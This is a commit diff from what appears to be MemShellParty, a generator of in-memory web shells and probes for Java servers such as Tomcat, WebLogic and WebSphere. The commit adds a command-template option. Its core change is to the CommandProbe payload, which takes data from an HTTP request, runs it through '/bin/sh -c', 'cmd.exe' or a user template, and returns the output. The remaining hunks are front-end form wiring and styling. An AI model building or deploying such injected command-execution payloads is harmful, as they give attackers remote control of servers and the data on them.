mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-23 23:41:52 +08:00
feat: support command probe template
Dev Deploy / Build Jar (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Probe IntegrationTest / springwebmvc (push) Has been cancelled
Probe IntegrationTest / springwebflux (push) Has been cancelled
Probe IntegrationTest / tomcat (push) Has been cancelled
Probe IntegrationTest / glassfish (push) Has been cancelled
Probe IntegrationTest / jbosseap (push) Has been cancelled
Probe IntegrationTest / jetty (push) Has been cancelled
Probe IntegrationTest / payara (push) Has been cancelled
Probe IntegrationTest / wildfly (push) Has been cancelled
Probe IntegrationTest / jbossas (push) Has been cancelled
Probe IntegrationTest / resin (push) Has been cancelled
Probe IntegrationTest / weblogic (push) Has been cancelled
Probe IntegrationTest / websphere7 (push) Has been cancelled
Probe IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
Dev Deploy / Build Jar (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Probe IntegrationTest / springwebmvc (push) Has been cancelled
Probe IntegrationTest / springwebflux (push) Has been cancelled
Probe IntegrationTest / tomcat (push) Has been cancelled
Probe IntegrationTest / glassfish (push) Has been cancelled
Probe IntegrationTest / jbosseap (push) Has been cancelled
Probe IntegrationTest / jetty (push) Has been cancelled
Probe IntegrationTest / payara (push) Has been cancelled
Probe IntegrationTest / wildfly (push) Has been cancelled
Probe IntegrationTest / jbossas (push) Has been cancelled
Probe IntegrationTest / resin (push) Has been cancelled
Probe IntegrationTest / weblogic (push) Has been cancelled
Probe IntegrationTest / websphere7 (push) Has been cancelled
Probe IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
This commit is contained in:
@@ -21,6 +21,7 @@ public class ProbeShellGenerateRequest {
|
|||||||
private String server;
|
private String server;
|
||||||
private String sleepServer;
|
private String sleepServer;
|
||||||
private String reqParamName;
|
private String reqParamName;
|
||||||
|
private String commandTemplate;
|
||||||
}
|
}
|
||||||
|
|
||||||
public ProbeContentConfig parseProbeContentConfig() {
|
public ProbeContentConfig parseProbeContentConfig() {
|
||||||
@@ -34,6 +35,7 @@ public class ProbeShellGenerateRequest {
|
|||||||
.build();
|
.build();
|
||||||
case ResponseBody -> ResponseBodyConfig.builder()
|
case ResponseBody -> ResponseBodyConfig.builder()
|
||||||
.reqParamName(probeContentConfig.reqParamName)
|
.reqParamName(probeContentConfig.reqParamName)
|
||||||
|
.commandTemplate(probeContentConfig.commandTemplate)
|
||||||
.server(probeContentConfig.server)
|
.server(probeContentConfig.server)
|
||||||
.build();
|
.build();
|
||||||
default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());
|
default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());
|
||||||
|
|||||||
@@ -23,4 +23,9 @@ public class ResponseBodyConfig extends ProbeContentConfig {
|
|||||||
* 内置执行类加载的字节码
|
* 内置执行类加载的字节码
|
||||||
*/
|
*/
|
||||||
private String base64Bytes;
|
private String base64Bytes;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 命令执行模板,例如 sh -c "{command}" 2>&1,使用 {command} 作为占位符
|
||||||
|
*/
|
||||||
|
private String commandTemplate;
|
||||||
}
|
}
|
||||||
|
|||||||
+8
-5
@@ -48,11 +48,14 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
|||||||
DynamicType.Builder<?> builder = buddy.redefine(writerClass)
|
DynamicType.Builder<?> builder = buddy.redefine(writerClass)
|
||||||
.name(probeConfig.getShellClassName())
|
.name(probeConfig.getShellClassName())
|
||||||
.visit(new TargetJreVersionVisitorWrapper(probeConfig.getTargetJreVersion()))
|
.visit(new TargetJreVersionVisitorWrapper(probeConfig.getTargetJreVersion()))
|
||||||
.visit(Advice.to(runnerClass).on(named("run")));
|
.visit(Advice.withCustomMapping()
|
||||||
|
.bind(ValueAnnotation.class, probeContentConfig.getCommandTemplate())
|
||||||
|
.to(runnerClass)
|
||||||
|
.on(named("run")));
|
||||||
if (StringUtils.isNotBlank(probeContentConfig.getReqParamName())) {
|
if (StringUtils.isNotBlank(probeContentConfig.getReqParamName())) {
|
||||||
builder = builder.visit(MethodCallReplaceVisitorWrapper.newInstance("getDataFromReq",
|
builder = builder.visit(MethodCallReplaceVisitorWrapper.newInstance("getDataFromReq",
|
||||||
probeConfig.getShellClassName(), ShellCommonUtil.class.getName()))
|
probeConfig.getShellClassName(), ShellCommonUtil.class.getName()))
|
||||||
.visit(Advice.withCustomMapping().bind(NameAnnotation.class, name)
|
.visit(Advice.withCustomMapping().bind(ValueAnnotation.class, name)
|
||||||
.to(getDataFromReqInterceptor).on(named("getDataFromReq")));
|
.to(getDataFromReqInterceptor).on(named("getDataFromReq")));
|
||||||
} else if (ProbeContent.Bytecode.equals(probeConfig.getProbeContent())) {
|
} else if (ProbeContent.Bytecode.equals(probeConfig.getProbeContent())) {
|
||||||
builder = builder.method(named("getDataFromReq")).intercept(FixedValue.value(probeContentConfig.getBase64Bytes()));
|
builder = builder.method(named("getDataFromReq")).intercept(FixedValue.value(probeContentConfig.getBase64Bytes()));
|
||||||
@@ -106,7 +109,7 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
|||||||
static class getDataFromReqInterceptor {
|
static class getDataFromReqInterceptor {
|
||||||
@Advice.OnMethodExit
|
@Advice.OnMethodExit
|
||||||
public static void enter(@Advice.Argument(value = 0) Object request,
|
public static void enter(@Advice.Argument(value = 0) Object request,
|
||||||
@NameAnnotation String name,
|
@ValueAnnotation String name,
|
||||||
@Advice.Return(readOnly = false) String ret) throws Exception {
|
@Advice.Return(readOnly = false) String ret) throws Exception {
|
||||||
try {
|
try {
|
||||||
String p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
|
String p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
|
||||||
@@ -123,7 +126,7 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
|||||||
static class getDataFromReqJettyInterceptor {
|
static class getDataFromReqJettyInterceptor {
|
||||||
@Advice.OnMethodExit
|
@Advice.OnMethodExit
|
||||||
public static void enter(@Advice.Argument(value = 0) Object request,
|
public static void enter(@Advice.Argument(value = 0) Object request,
|
||||||
@NameAnnotation String name,
|
@ValueAnnotation String name,
|
||||||
@Advice.Return(readOnly = false) String ret) throws Exception {
|
@Advice.Return(readOnly = false) String ret) throws Exception {
|
||||||
try {
|
try {
|
||||||
String p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
|
String p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
|
||||||
@@ -144,7 +147,7 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
|||||||
}
|
}
|
||||||
|
|
||||||
@Retention(RetentionPolicy.RUNTIME)
|
@Retention(RetentionPolicy.RUNTIME)
|
||||||
public @interface NameAnnotation {
|
public @interface ValueAnnotation {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.probe.payload;
|
package com.reajason.javaweb.probe.payload;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
|
|
||||||
@@ -17,15 +18,33 @@ public class CommandProbe {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@Advice.OnMethodExit
|
@Advice.OnMethodExit
|
||||||
public static String exit(@Advice.Argument(0) String data, @Advice.Return(readOnly = false) String ret) throws Exception {
|
public static String exit(@Advice.Argument(0) String data,
|
||||||
String[] cmd = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", data} : new String[]{"/bin/sh", "-c", data};
|
@Advice.Return(readOnly = false) String ret,
|
||||||
Process process = new ProcessBuilder(cmd).redirectErrorStream(true).start();
|
@ResponseBodyGenerator.ValueAnnotation String template
|
||||||
|
) throws Exception {
|
||||||
|
String[] cmdarray = null;
|
||||||
|
String t = template;
|
||||||
|
if (t == null) {
|
||||||
|
cmdarray = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", data} : new String[]{"/bin/sh", "-c", data};
|
||||||
|
} else {
|
||||||
|
if (t.contains("\"{command}\"")) {
|
||||||
|
String[] split = t.split("\\s+");
|
||||||
|
for (int i = 0; i < split.length; i++) {
|
||||||
|
split[i] = split[i].replace("\"{command}\"", data);
|
||||||
|
}
|
||||||
|
cmdarray = split;
|
||||||
|
} else {
|
||||||
|
String cmdline = t.replace("{command}", data);
|
||||||
|
cmdarray = cmdline.split("\\s+");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Process process = new ProcessBuilder(cmdarray).redirectErrorStream(true).start();
|
||||||
return ret = new Scanner(process.getInputStream()).useDelimiter("\\A").next();
|
return ret = new Scanner(process.getInputStream()).useDelimiter("\\A").next();
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public String toString() {
|
public String toString() {
|
||||||
return CommandProbe.exit(command, super.toString());
|
return CommandProbe.exit(command, super.toString(), null);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -156,6 +156,51 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
|
|||||||
[form.control, t],
|
[form.control, t],
|
||||||
);
|
);
|
||||||
|
|
||||||
|
const CommandTemplateField = useMemo(
|
||||||
|
() => (
|
||||||
|
<>
|
||||||
|
<div className="space-y-2 pt-4 border-t mt-4">
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name="reqParamName"
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormFieldItem>
|
||||||
|
<FormFieldLabel>{t("common:paramName")}</FormFieldLabel>
|
||||||
|
<FormControl>
|
||||||
|
<Input placeholder={t("placeholders.input")} {...field} />
|
||||||
|
</FormControl>
|
||||||
|
<FormMessage />
|
||||||
|
</FormFieldItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
<div className="space-y-2">
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name="commandTemplate"
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormFieldItem>
|
||||||
|
<FormFieldLabel>
|
||||||
|
{t("common:commandTemplate")} {t("common:optional")}
|
||||||
|
</FormFieldLabel>
|
||||||
|
<FormControl>
|
||||||
|
<Input
|
||||||
|
{...field}
|
||||||
|
placeholder={t("common:commandTemplate.placeholder")}
|
||||||
|
/>
|
||||||
|
</FormControl>
|
||||||
|
<p className="text-xs text-muted-foreground mt-1">
|
||||||
|
{t("common:commandTemplate.description")}
|
||||||
|
</p>
|
||||||
|
</FormFieldItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
</>
|
||||||
|
),
|
||||||
|
[form.control, t],
|
||||||
|
);
|
||||||
|
|
||||||
const SleepFields = useMemo(
|
const SleepFields = useMemo(
|
||||||
() => (
|
() => (
|
||||||
<div className="space-y-2 pt-4 border-t mt-4">
|
<div className="space-y-2 pt-4 border-t mt-4">
|
||||||
@@ -216,6 +261,9 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
|
|||||||
const isServerContent = watchedProbeContent === "Server";
|
const isServerContent = watchedProbeContent === "Server";
|
||||||
|
|
||||||
if (isBodyMethod && needParam) {
|
if (isBodyMethod && needParam) {
|
||||||
|
if (watchedProbeContent === "Command") {
|
||||||
|
return CommandTemplateField;
|
||||||
|
}
|
||||||
return RequestParamField;
|
return RequestParamField;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -224,7 +272,13 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
return null;
|
return null;
|
||||||
}, [watchedProbeMethod, watchedProbeContent, RequestParamField, SleepFields]);
|
}, [
|
||||||
|
watchedProbeMethod,
|
||||||
|
watchedProbeContent,
|
||||||
|
RequestParamField,
|
||||||
|
SleepFields,
|
||||||
|
CommandTemplateField,
|
||||||
|
]);
|
||||||
|
|
||||||
const DNSLogSection = useMemo(
|
const DNSLogSection = useMemo(
|
||||||
() => (
|
() => (
|
||||||
|
|||||||
@@ -52,6 +52,7 @@ function SelectContent({
|
|||||||
className,
|
className,
|
||||||
children,
|
children,
|
||||||
position = "popper",
|
position = "popper",
|
||||||
|
align = "center",
|
||||||
...props
|
...props
|
||||||
}: React.ComponentProps<typeof SelectPrimitive.Content>) {
|
}: React.ComponentProps<typeof SelectPrimitive.Content>) {
|
||||||
return (
|
return (
|
||||||
@@ -65,6 +66,7 @@ function SelectContent({
|
|||||||
className,
|
className,
|
||||||
)}
|
)}
|
||||||
position={position}
|
position={position}
|
||||||
|
align={align}
|
||||||
{...props}
|
{...props}
|
||||||
>
|
>
|
||||||
<SelectScrollUpButton />
|
<SelectScrollUpButton />
|
||||||
|
|||||||
@@ -40,7 +40,7 @@ function TabsTrigger({
|
|||||||
<TabsPrimitive.Trigger
|
<TabsPrimitive.Trigger
|
||||||
data-slot="tabs-trigger"
|
data-slot="tabs-trigger"
|
||||||
className={cn(
|
className={cn(
|
||||||
"dark:data-[state=active]:text-foreground focus-visible:border-ring focus-visible:ring-ring/50 focus-visible:outline-ring dark:data-[state=active]:border-input dark:data-[state=active]:bg-input/30 text-foreground dark:text-muted-foreground inline-flex h-[calc(100%-1px)] flex-1 items-center justify-center gap-1.5 rounded-md border border-transparent px-2 py-1 text-sm font-medium whitespace-nowrap transition-[color,box-shadow] focus-visible:ring-[3px] focus-visible:outline-1 disabled:pointer-events-none disabled:opacity-50 data-[state=active]:shadow-sm [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
|
"data-[state=active]:bg-background dark:data-[state=active]:text-foreground focus-visible:border-ring focus-visible:ring-ring/50 focus-visible:outline-ring dark:data-[state=active]:border-input dark:data-[state=active]:bg-input/30 text-foreground dark:text-muted-foreground inline-flex h-[calc(100%-1px)] flex-1 items-center justify-center gap-1.5 rounded-md border border-transparent px-2 py-1 text-sm font-medium whitespace-nowrap transition-[color,box-shadow] focus-visible:ring-[3px] focus-visible:outline-1 disabled:pointer-events-none disabled:opacity-50 data-[state=active]:shadow-sm [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
|
||||||
className,
|
className,
|
||||||
)}
|
)}
|
||||||
{...props}
|
{...props}
|
||||||
|
|||||||
@@ -26,6 +26,7 @@ export interface ProbeContentConfig {
|
|||||||
sleepServer?: string;
|
sleepServer?: string;
|
||||||
server?: string;
|
server?: string;
|
||||||
reqParamName?: string;
|
reqParamName?: string;
|
||||||
|
commandTemplate?: string;
|
||||||
}
|
}
|
||||||
|
|
||||||
export interface DNSLogConfig {
|
export interface DNSLogConfig {
|
||||||
|
|||||||
@@ -160,6 +160,7 @@ export const probeShellFormSchema = yup.object().shape({
|
|||||||
host: yup.string().optional(),
|
host: yup.string().optional(),
|
||||||
server: yup.string().optional(),
|
server: yup.string().optional(),
|
||||||
reqParamName: yup.string().optional(),
|
reqParamName: yup.string().optional(),
|
||||||
|
commandTemplate: yup.string().optional(),
|
||||||
seconds: yup.number().optional(),
|
seconds: yup.number().optional(),
|
||||||
sleepServer: yup.string().optional(),
|
sleepServer: yup.string().optional(),
|
||||||
packingMethod: yup.string().required(),
|
packingMethod: yup.string().required(),
|
||||||
|
|||||||
@@ -67,6 +67,7 @@ export function transformToProbePostData(formValue: ProbeShellFormSchema) {
|
|||||||
sleepServer: formValue.sleepServer,
|
sleepServer: formValue.sleepServer,
|
||||||
server: formValue.server,
|
server: formValue.server,
|
||||||
reqParamName: formValue.reqParamName,
|
reqParamName: formValue.reqParamName,
|
||||||
|
commandTemplate: formValue.commandTemplate,
|
||||||
};
|
};
|
||||||
|
|
||||||
return {
|
return {
|
||||||
|
|||||||
Reference in New Issue
Block a user